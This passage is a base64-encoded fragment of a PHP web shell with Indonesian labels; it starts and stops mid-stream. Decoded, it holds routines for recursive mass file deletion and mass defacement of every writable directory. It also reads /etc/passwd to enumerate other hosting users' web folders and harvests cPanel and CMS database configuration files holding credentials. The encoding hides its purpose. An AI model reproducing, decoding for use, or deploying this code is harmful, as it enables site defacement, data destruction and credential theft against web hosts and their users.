QllY2hvICRvdXRwdXQ7DQoJCQkNCgkJCWlmICgkX1BPU1RbJ3lhJ10pIHsNCgkJCQlpZihpc19kaXIoJGRpcikpIHsNCgkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJCQkJCUBybWRpcigkZGlyKTsNCgkJCQkJCUBleGUoInJtIC1yZiAkZGlyIik7DQoJCQkJCQlAZXhlKCJybWRpciAvcyAvcSAkZGlyIik7DQoJCQkJCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic7IGFsZXJ0KCdCZXJoYXNpbCBNZW5naGFwdXMgRm9sZGVyJyk7PC9zY3JpcHQ+IjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuZGlybmFtZSgkZGlyKS4iJzsgYWxlcnQoJ1RpZGFrIERhcGF0IE1lbmdoYXB1cyBGb2xkZXInKTs8L3NjcmlwdD4iOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQlleGl0Ow0KCQl9DQoJCQ0KCQkvKg0KCQkJVWJhaCBOYW1hIEZvbGRlcg0KCQkqLw0KCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAncmVuYW1lX2ZvbGRlcicgKSB7DQoJCQkkbmFtYSA9IGJhc2VuYW1lKGdldGN3ZCgpKTsNCgkJCSRvdXRwdXQ9Ig0KCQkJPGNlbnRlcj4gDQoJCQlbIDxhIGhyZWY9Jz9kaXI9Ii4kZGlyLiImYWtzaT1oYXB1c19mb2xkZXInPkRlbGV0ZTwvYT4gXTxocj48L2NlbnRlcj48cCBjbGFzcz0nbWwtMic+TmFtYSBGb2xkZXIgPT4gJG5hbWE8L3A+DQoJCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSduYW1hbmV3JyBwbGFjZWhvbGRlcj0nTWFzdWthbiBOYW1hIEJhcnUuLi4nPjxici8+DQoJCQkJPGJ1dHRvbiB0eXBlPSdzdW1iaXQnIGNsYXNzPSdidG4gYnRuLWluZm8gYnRuLWJsb2NrJyBuYW1lPSdnYW50aSc+R2FudGkhITwvYnV0dG9uPjxici8+DQoJCQk8L2Zvcm0+IjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCQ0KCQkJaWYgKGlzc2V0KCRfUE9TVFsnZ2FudGknXSkpIHsNCgkJCQkkbGFtYSA9ICRkaXI7DQoJCQkJJGJhcnUgPSAkX1BPU1RbJ25hbWFuZXcnXTsNCgkJCQkkdWJhaCA9IHJlbmFtZSgkbGFtYSwgJGJhcnUpOw0KCQkJCWlmKCR1YmFoKSB7DQoJCQkJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuZGlybmFtZSgkZGlyKS4iJzsgYWxlcnQoJ0Jlcmhhc2lsIE1lbmdnYW50aSBOYW1hJyk7PC9zY3JpcHQ+IjsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAiPHNjcmlwdD5hbGVydCgnR2FnYWwgTWVuZ2dhbnRpIE5hbWEnKTs8L3NjcmlwdD4iIDsNCgkJCQl9DQoJCQl9DQoJCQlleGl0Ow0KCQl9DQoNCgkJLyoNCgkJCW1hc3MgZGVsZXRlDQoJCSovDQoJCWlmKCRfR0VUWydha3NpJ10gPT0gJ01hc3NEZWxsZXRlJykgew0KCQkJDQoJCQlmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsNCgkJCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQkJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJCQkJaWYoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsNCgkJCQkJCQkJdW5saW5rKCIkZGlyLyRuYW1hZmlsZSIpOw0KCQkJCQkJCX0NCgkJCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCQkJaWYoZmlsZV9leGlzdHMoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpKSB7DQoJCQkJCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7DQoJCQkJCQkJfQ0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJCQkJaWYoJGxva2FzaSkgew0KCQkJCQkJCQkJCQllY2hvICIkbG9rYXNpID4gVGVyaGFwdXNcbiI7DQoJCQkJCQkJCQkJdW5saW5rKCRsb2thc2kpOw0KCQkJCQkJCQkJCSRtYXNzZGVsID0gaGFwdXNfbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoNCgkJCWlmKCRfUE9TVFsnc3RhcnQnXSkgew0KCQkJCWVjaG8gIjx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPSc4JyBkaXNhYmxlZD0nZGlzYWJsZWQnPiI7DQoJCQkJCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOw0KCQkJCWVjaG8gIjwvdGV4dGFyZWE+PGEgaHJlZj0nP2Rpcj0kZGlyJyBjbGFzcz0nYnRuIGJ0bi1pbmZvIGJ0bi1ibG9jayBtdC0zJz5LZW1iYWxpPC9hPiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJCTxwPjxpIGNsYXNzPSdmYSBmYS1mb2xkZXInPjwvaT4gTG9rYXNpPC9wPg0KCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJyBjbGFzcz0nZm9ybS1jb250cm9sJz48YnI+DQoJCQkJCTxwPjxpIGNsYXNzID0nZmEgZmEtZmlsZSc+PC9pPiBOYW1hIEZpbGU8L3A+DQoJCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSdpbmRleC5waHAnIGNsYXNzPSdmb3JtLWNvbnRyb2wnPjxicj4NCgkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdIYXB1cycgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGZvcm0tY29udHJvbCc+DQoJCQk8L2Zvcm0+IjsNCgkJCX0NCgkJCWV4aXQ7DQoJCX0NCg0KDQoNCgkvKg0KCQlNYXNzIERlZmFjZQ0KCSovDQoJaWYoJF9HRVRbJ2Frc2knXSA9PSAnTWFzc0RlZmFjZScpIHsNCgkJDQoJCWZ1bmN0aW9uIHRpcGVfbWFzc2FsKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7DQoJCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCQkkbG9rYXNpID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsNCgkJCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgew0KCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJCQllY2hvICJCZXJoYXNpbCA9PiAkbG9rYXNpXG4iOw0KCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCQkJCSRNYXNzRGVmYWNlID0gdGlwZV9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJDQoJCWZ1bmN0aW9uIHRpcGVfYmlhc2EoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsNCgkJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJCWVjaG8gIkJlcmhhc2lsID0+ICRkaXJiLyRuYW1hZmlsZVxuIjsNCgkJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJaWYoJF9QT1NUWydzdGFydCddKSB7DQoJCQkNCgkJCWVjaG8gIjx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPSc4JyBkaXNhYmxlZD0nZGlzYWJsZWQnPiI7DQoJCQlpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFoYWwnKSB7DQoJCQkJdGlwZV9tYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsNCgkJCX0gZWxzZWlmKCRfUE9TVFsndGlwZSddID09ICdtdXJhaCcpIHsNCgkJCQl0aXBlX2JpYXNhKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSwgJF9QT1NUWydzY3JpcHQnXSk7DQoJCQl9DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGEgaHJlZj0nP2Rpcj0kZGlyJyBjbGFzcz0nYnRuIGJ0bi1pbmZvIGJ0bi1ibG9jayBtdC0zJz5LZW1iYWxpPC9hPiI7DQoJCX0gZWxzZSB7DQoJCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxjZW50ZXI+DQoJCQkJCTxwPnsgVHlwZSBNYXNzIERlZmFjZSB9PC9wPg0KCQkJCQk8aW5wdXQgaWQ9J3RvZ2dsZS1vbicgY2xhc3M9J3RvZ2dsZSB0b2dnbGUtbGVmdCcgbmFtZT0ndGlwZScgdmFsdWU9J211cmFoJyB0eXBlPSdyYWRpbycgY2hlY2tlZD4NCgkJCQkJPGxhYmVsIGZvcj0ndG9nZ2xlLW9uJyBjbGFzcz0nYnV0bic+Qmlhc2E8L2xhYmVsPg0KCQkJCQk8aW5wdXQgaWQ9J3RvZ2dsZS1vZmYnIGNsYXNzPSd0b2dnbGUgdG9nZ2xlLXJpZ2h0JyBuYW1lPSd0aXBlJyB2YWx1ZT0nbWFoYWwnIHR5cGU9J3JhZGlvJz4NCgkJCQkJPGxhYmVsIGZvcj0ndG9nZ2xlLW9mZicgY2xhc3M9J2J1dG4nPk1hc2FsPC9sYWJlbD4NCgkJCQk8L2NlbnRlcj48aHI+DQoJCQkJPHA+PGkgY2xhc3M9J2ZhIGZhLWZvbGRlcic+PC9pPiBMb2thc2k8L3A+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgY2xhc3M9J2Zvcm0tY29udHJvbCc+PGJyPg0KCQkJCTxwPjxpIGNsYXNzID0nZmEgZmEtZmlsZSc+PC9pPiBOYW1hIEZpbGU8L3A+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J2luZGV4LnBocCcgY2xhc3M9J2Zvcm0tY29udHJvbCc+PGJyLz4NCgkJCQk8cD48aSBjbGFzcyA9J2ZhIGZhLWZpbGUnPjwvaT4gSXNpIEZpbGU8L3A+DQoJCQkJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nNScgcGxhY2Vob2xkZXI9J0hhY2tlZCBCeSBKQU5HQU4gR0FOR0dVJz48L3RleHRhcmVhPjxici8+DQoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlZmFjZScgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGZvcm0tY29udHJvbCc+PGJyLz4NCgkJCTwvZm9ybT4iOw0KCQl9DQoJCWV4aXQ7DQoJfQ0KDQoNCg0KCS8qIA0KCQlKdW1waW5nDQoJKi8NCglpZigkX0dFVFsnYWtzaSddID09ICdqdW1waW5nJykgew0KCQkkaSA9IDA7DQoJCWVjaG8gIjxkaXYgY2xhc3M9J2NhcmQgY29udGFpbmVyJz4iOw0KCQlpZihwcmVnX21hdGNoKCIvaHNwaGVyZS8iLCAkZGlyKSkgew0KCQkJJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7DQoJCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsNCgkJCQllY2hvICI8cHJlPiI7DQoJCQkJZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7DQoJCQkJCSR1cmwgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsInd3dy4iKSwgIiIsIHN0cnRvbG93ZXIoJHVybCkpOw0KCQkJCQkkZXRjID0gIi9ldGMvcGFzc3dkIjsNCgkJCQkJJGYgPSBmb3BlbigkZXRjLCJyIik7DQoJCQkJCXdoaWxlKCRnZXRzID0gZmdldHMoJGYpKSB7DQoJCQkJCQkkcGVjYWggPSBleHBsb2RlKCI6IiwgJGdldHMpOw0KCQkJCQkJJHVzZXIgPSAkcGVjYWhbMF07DQoJCQkJCQkkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7DQoJCQkJCQlpZihpc19kaXIoJGRpcl91c2VyKSA9PT0gdHJ1ZSkgew0KCQkJCQkJCSR1cmxfdXNlciA9ICRkaXJfdXNlci4iLyIuJHVybDsNCgkJCQkJCQlpZihpc19yZWFkYWJsZSgkdXJsX3VzZXIpKSB7DQoJCQkJCQkJCSRpKys7DQoJCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWdyZWVuPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1cmxfdXNlcic+PGZvbnQgY29sb3I9IzAwNDZGRj4kdXJsX3VzZXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQkJCWlmKGlzX3dyaXRhYmxlKCR1cmxfdXNlcikpIHsNCgkJCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWdyZWVuPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPSMwMDQ2RkY+JHVybF91c2VyPC9mb250PjwvYT4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJCWVjaG8gJGpydy4iPGJyPiI7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJaWYoJGkgPT0gMCkgeyANCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgZGkgIi4kaXA7DQoJCQl9DQoJCQllY2hvICI8L3ByZT4iOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Y2VudGVyPg0KCQkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQkJCSAgTGlzdCBEb21haW5zOiA8YnI+DQoJCQkJCSAgPHRleHRhcmVhIG5hbWU9InVybCIgY2xhc3M9ImZvcm0tY29udHJvbCI+JzsNCgkJCQkkZnAgPSBmb3BlbigiL2hzcGhlcmUvbG9jYWwvY29uZmlnL2h0dHBkL3NpdGVzL3NpdGVzLnR4dCIsInIiKTsNCgkJCQl3aGlsZSgkZ2V0c3MgPSBmZ2V0cygkZnApKSB7DQoJCQkJCWVjaG8gJGdldHNzOw0KCQkJCX0NCgkJCQllY2hvICAnPC90ZXh0YXJlYT48YnI+DQoJCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPg0KCQkJCQkgIDwvZm9ybT48L2NlbnRlcj4nOw0KCQkJfQ0KCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvdmhvc3RzLyIsICRkaXIpKSB7DQoJCQkkdXJscyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsNCgkJCWlmKGlzc2V0KCRfUE9TVFsnanVtcCddKSkgew0KCQkJCWVjaG8gIjxwcmU+IjsNCgkJCQlmb3JlYWNoKCR1cmxzIGFzICR1cmwpIHsNCgkJCQkJJHdlYl92aCA9ICIvdmFyL3d3dy92aG9zdHMvJHVybC9odHRwZG9jcyI7DQoJCQkJCWlmKGlzX2Rpcigkd2ViX3ZoKSA9PT0gdHJ1ZSkgew0KCQkJCQkJaWYoaXNfcmVhZGFibGUoJHdlYl92aCkpIHsNCgkJCQkJCQkkaSsrOw0KCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWdyZWVuPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPSMwMDQ2RkY+JHdlYl92aDwvZm9udD48L2E+IjsNCgkJCQkJCQlpZihpc193cml0YWJsZSgkd2ViX3ZoKSkgew0KCQkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1ncmVlbj5SVzwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHdlYl92aCc+PGZvbnQgY29sb3I9IzAwNDZGRj4kd2ViX3ZoPC9mb250PjwvYT4iOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICRqcncuIjxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJaWYoJGkgPT0gMCkgeyANCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7DQoJCQl9DQoJCQllY2hvICI8L3ByZT4iOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Y2VudGVyPg0KCQkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQkJCSAgTGlzdCBEb21haW5zOiA8YnI+DQoJCQkJCSAgPHRleHRhcmVhIG5hbWU9InVybCIgY2xhc3M9ImZvcm0tY29udHJvbCI+JzsNCgkJCQkJICBiaW5nKCJpcDokaXAiKTsNCgkJCQllY2hvICAnPC90ZXh0YXJlYT48YnI+DQoJCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPg0KDQoJCQkJCSAgPC9mb3JtPjwvY2VudGVyPic7DQoJCQl9DQoJCX0gZWxzZSB7DQoJCQllY2hvICI8cHJlPiI7DQoJCQkkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBkaWUoIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250Pjxici8+Iik7DQoJCQl3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsNCgkJCQlpZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250Pjxici8+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2p1bXBpbmcpOw0KCQkJCQlmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfcHJvX2p1bXApIHsNCgkJCQkJCSR1c2VyX2p1bXBpbmdfZGlyID0gIi9ob21lLyR1c2VyX3Byb19qdW1wL3B1YmxpY19odG1sIjsNCgkJCQkJCWlmKGlzX3JlYWRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgew0KCQkJCQkJCSRpKys7DQoJCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9Z3JlZW4+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPSMwMDQ2RkY+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQkJaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7DQoJCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWdyZWVuPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzAwNDZGRj4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAkanJ3Ow0KCQkJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkJCQkJCQkkZG9tYWluX2p1bXAgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQoJCQkJCQkJCWlmKCRkb21haW5fanVtcCA9PSAnJykgew0KCQkJCQkJCQkJZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCgkJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOw0KCQkJCQkJCQkJZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KCQkJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7DQoJCQkJCQkJCQkJJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOw0KCQkJCQkJCQkJCWlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX3Byb19qdW1wKSB7DQoJCQkJCQkJCQkJCWVjaG8gIiA9PiAoIDx1PiRkajwvdT4gKTxicj4iOw0KCQkJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQllY2hvICI8YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlpZigkaSA9PSAwKSB7IA0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLiRpcDsNCgkJCX0NCgkJCWVjaG8gIjwvcHJlPiI7DQoJCX0NCgkJZWNobyAiPC9kaXY+IjsNCgl9DQoNCgkvKg0KCQlDb25maWcNCgkqLw0KCWlmKCRfR0VUWydha3NpJ10gPT0gJ2NvbmZpZycpIHsNCgkJJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZGllKCI8cHJlPjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PjwvcHJlPiIpOw0KCQkkY29uID0gbWtkaXIoImNvZGV4cGxvaXRfY29uZmlncyIsIDA3NzcpOw0KCQkkaXNpX2h0YyA9ICJPcHRpb25zIGFsbFxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueSI7DQoJCSRodGMgPSBmb3BlbigiY29kZXhwbG9pdF9jb25maWdzLy5odGFjY2VzcyIsInciKTsNCgkJZndyaXRlKCRodGMsICRpc2lfaHRjKTsNCgkJd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQoJCQlpZigkcGFzc3dkID09ICIiIHx8ICEkZXRjKSB7DQoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCgkJCX0gZWxzZSB7DQoJCQkJcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9jb25maWcpOw0KCQkJCWZvcmVhY2goJHVzZXJfY29uZmlnWzFdIGFzICR1c2VyX2Nvbikgew0KCQkJCQkkdXNlcl9jb25maWdfZGlyID0gIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC8iOw0KCQkJCQlpZihpc19yZWFkYWJsZSgkdXNlcl9jb25maWdfZGlyKSkgew0KCQkJCQkJJGdyYWJfY29uZmlnID0gDQoJCQkJCQlbDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi8ubXkuY25mIiA9PiAiY3BhbmVsIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiID0+ICJEcnVwYWwiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICJQcmVzdGFTaG9wIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwIiA9PiAiT3BlbkNhcnQiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gIkVsbGlzbGFiIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gIlZidWxsZXRpbiIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiID0+ICJNeUJCIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIi